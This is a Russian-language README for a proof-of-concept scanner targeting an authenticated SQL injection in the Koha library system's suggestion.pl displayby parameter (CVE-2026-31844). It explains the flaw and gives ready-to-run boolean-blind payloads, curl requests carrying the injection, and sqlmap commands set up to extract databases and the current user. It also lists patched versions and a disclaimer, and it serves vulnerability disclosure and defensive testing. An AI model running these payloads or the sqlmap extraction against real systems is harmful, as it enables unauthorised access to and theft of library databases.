
Аутентифицированный сканер SQL-инъекций для системы управления библиотекой Koha (CVE-2026-31844), использующий технику слепой инъекции на основе булевых условий для проверки уязвимости и извлечения данных.
Этот репозиторий содержит ответственный PoC для CVE-2026-31844 — уязвимости аутентифицированной SQL-инъекции высокой степени серьёзности в библиотечной системе Koha.
Уязвимость существует в функции GetDistinctValues в C4/Search.pm, которая вызывается скриптом /cgi-bin/koha/suggestion/suggestion.pl. Она может быть эксплуатирована через параметр displayby.
Параметр displayby в скрипте suggestion.pl используется для формирования имени столбца с квалификатором таблицы, которое затем передаётся в функцию GetDistinctValues. Однако эта функция напрямую встраивает как имя таблицы, так и имя столбца в необработанный SQL-запрос без какой-либо проверки входных данных или параметризации.
В результате злоумышленник может манипулировать параметром displayby для внедрения вредоносного SQL-кода в запрос. Поскольку входные данные не очищаются перед включением в SQL-выражение, такое поведение создаёт уязвимость SQL-инъекции, которая может позволить злоумышленнику выполнять произвольные SQL-команды на базе данных с использованием техники Boolean-Based Blind.
# suggestion.pl
my $displayby = $input->param('displayby') || '';
my $criteria_list = GetDistinctValues( "suggestions." . $displayby );
Рахимов Шукруллох (Mothra)
Сканер использует технику Boolean-Based Blind для проверки уязвимости
Внедряя условные выражения в позицию имени столбца, мы можем наблюдать дифференциальные HTTP-ответы:
IF(1=1, (SELECT 1 UNION SELECT 2), 1) → Ошибка подзапроса → HTTP 500IF(1=2, (SELECT 1 UNION SELECT 2), 1) → Корректный запрос → HTTP 200Если цель возвращает 500 для истинного условия и 200 для ложного, уязвимость подтверждена.
git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git
cd CVE-2026-31844-Koha-Scanner
pip3 install requests
Вы должны предоставить действительные учётные данные для учётной записи персонала Koha с разрешением suggestions.
python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password
Для целей с самоподписанными SSL-сертификатами:
python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-31844 — Koha Vulnerability Scanner ║
║ Authenticated SQLi in suggestion.pl (displayby) ║
║ (Responsible Check Only) ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://koha.local:8081
[*] Authenticating to staff interface as 'koha_admin'...
[+] Authentication successful!
============================================================
VULNERABILITY SCAN
============================================================
[*] Testing vulnerability using safe Boolean-blind evaluation...
[1] Testing baseline request (STATUS)... HTTP 200 (OK)
[2] Testing TRUE condition evaluation... HTTP 500 (Expected Error)
[3] Testing FALSE condition evaluation... HTTP 200 (OK)
============================================================
[ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844
[! ] The target evaluated the SQL conditions and returned differential HTTP codes.
[! ] Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.
Вы можете вручную проверить уязвимость с помощью curl. Сначала аутентифицируйтесь в интерфейсе персонала Koha и захватите ваш cookie CGISESSID.
Истинное условие (возвращает HTTP 500):
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)"
Ложное условие (возвращает HTTP 200):
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)"
SQLMap нативно поддерживает boolean-based blind инъекции. Для автоматизации извлечения данных сохраните действительный аутентифицированный HTTP-запрос в request.txt. Поддерживайте действительными cookies csrf_token и CGISESSID.
Пример request.txt:
GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1
Host: koha.example.com
Cookie: CGISESSID=your_session_id_here
User-Agent: Mozilla/5.0
Запустите SQLMap с boolean-техникой (--technique=B):
# Базовое извлечение баз данных
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs
# Извлечение текущего пользователя
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user
Или запустите напрямую из командной строки:
sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \
--cookie="CGISESSID=your_session_id_here" \
-p displayby \
--dbms=mysql \
--technique=B \
--current-db
Через некоторое время sqlmap определит корректную полезную нагрузку.
Если уязвимость не исправлена, она позволяет аутентифицированному злоумышленнику:
Обновите Koha до версии 24.11.12, 25.05.07, 25.11.01 или 26.05.00 (или более поздней), которая включает исправление этой уязвимости.
Рахимов Шукруллох (Mothra)
Telegram-бот @MothraContact_bot
Этот proof of concept предоставлен исключительно в образовательных и защитных целях. Всегда получайте надлежащее разрешение перед тестированием любой системы на уязвимости.
Автор не несёт ответственности за любое неправомерное использование этой информации. Этот proof of concept следует использовать только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.